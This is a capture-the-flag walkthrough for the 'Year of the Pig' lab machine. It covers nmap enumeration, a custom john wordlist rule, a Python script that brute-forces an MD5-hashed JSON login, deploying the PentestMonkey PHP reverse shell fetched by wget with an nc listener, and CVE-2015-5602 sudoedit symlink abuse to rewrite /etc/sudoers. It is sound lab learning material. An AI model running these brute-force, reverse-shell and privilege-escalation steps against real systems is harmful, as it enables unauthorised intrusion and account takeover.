4 minutes
Year of the Pig
Machine URL :: Year of the pig
ENUMERATION
Nmap :
nmap -sC -sV -p- 10.10.9.235
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 13:10 IST
Nmap scan report for 10.10.9.235
Host is up (0.057s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Marco's Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s start with the webserver.

Use gobuster for directory bruteforcing:

This reveals the admin directory which yields us this as /login.php
:

Web Login:
The page is sending an AJAX request to /api/login
using JSON format for the user input. Also , the password value is MD5 hash value of the string.

For wrong credentials the following message appears:Remember that passwords should be a memorable word, followed by two numbers and a special character
Take a note of that.\
Let’s attempt to bruteforce this login now. We need a custom wordlist as ensured by the password policy. Scanning the page for ‘memorable’ words gives us this:
Marco
marco
plane
planes
airplane
airplanes
airforce
flying
Savoia
savoia
Macchi
macchi
Curtiss
curtiss
milan
Milan
mechanic
maintenance
Italian
italian
Agility
agility
You can use CeWL for this.
Adding a custom rule to /etc/john/john.conf
. This will fulfill the password policy required.
[List.Rules:yop]
Az"[0-9][0-9][!#$%&(),*=/?]"
But the passwords are MD5-Hashed first before being sent to the login. Use this python program to hash the passwords and use them to bruteforce the login:
#!/usr/bin/python3
import requests
import sys
import json
import hashlib
payload= {"username":sys.argv[2],"password":"test"}
i = 0
for line in sys.stdin:
payload["password"] = hashlib.md5(line.rstrip().encode('utf-8')).hexdigest()
r = requests.post(sys.argv[1]+"/api/login",data=json.dumps(payload))
json_data = json.loads(r.content)
i = i +1
if i % 10 == 0:
print(str(i),end="\r")
if json_data["Response"] != "Error":
print (line)
break
Got this from auth.py
This takes a while. Thankfully the password doesn’t seem to reset with every reboot.

Going forward we see:

Now this is a complete rabbit hole. The commands section only responds to some commands like whoami
which tells us we are www-data
and id
.
FOOTHOLD
SSH as marco using the same password and you get the first flag immediately.

Looking in the /var/www
directory to find some hints of what to do with the webserver we find that marco can edit any file here except admin.db
.

To read admin.db
we need to be www-data. So, let’s use our edit access to upload the PentestMonkey PHP reverse shell (located by default on Kali at /usr/share/webshells/php/php-reverse-shell.php
) — making sure to change the IP and port number. \Using wget:
root@kali:/usr/share/webshells/php# python3 -m http.server
marco@year-of-the-pig:/var/www/html/admin$ wget YOUR-IP:8000/php-reverse-shell.php
Start a listener with nc -lvnp <chosen-port>
then activate the shell by going to http://<machine-ip>/php-reverse-shell.php
We can’t read the databse in a non-interactive shell , so to upgrade use :python3 -c 'import pty; pty.spawn("/bin/bash")'

We got the password hashes of user curtis.

su curtis
and you’ll get the 2nd flag in his home directory.
PRIVILEGE ESCALATION
Checking sudo -l
we see that Curtis can execute sudoedit as sudo, against some files in /var/www/html.

Checking ExploitDB for sudoedit exploit gives us this.
Checking sudo version confirms we are to use the CVE-2015-5602 exploit.
curtis@year-of-the-pig:~$ sudo --version
Sudo version 1.8.13
Sudoers policy plugin version 1.8.13
Sudoers file grammar version 44
Sudoers I/O plugin version 1.8.13
In this version of sudo , sudoedit does not check the full path if a wildcard is used twice (e.g. /html/*/*/config.php
), allowing a malicious user to replace the config.php
real file with a symbolic link to a different location.
Marco being part of the web-developers
can create such a path.
Now symlink this to /etc/sudoers
file so we may give curtis sudo access. You can use this with the /etc/passwd
file to add your own password.

Back to Curtis : sudoedit /var/www/html/dir1/dir2/config.php
This did not work with sudo for some reason.
Add curtis to the file :
## User Privilege Specification
##
root ALL=(ALL) ALL
curtis ALL=(ALL) ALL
## Uncomment to allow members of group wheel to execute any command
Now you can use su to elevate your privileges.
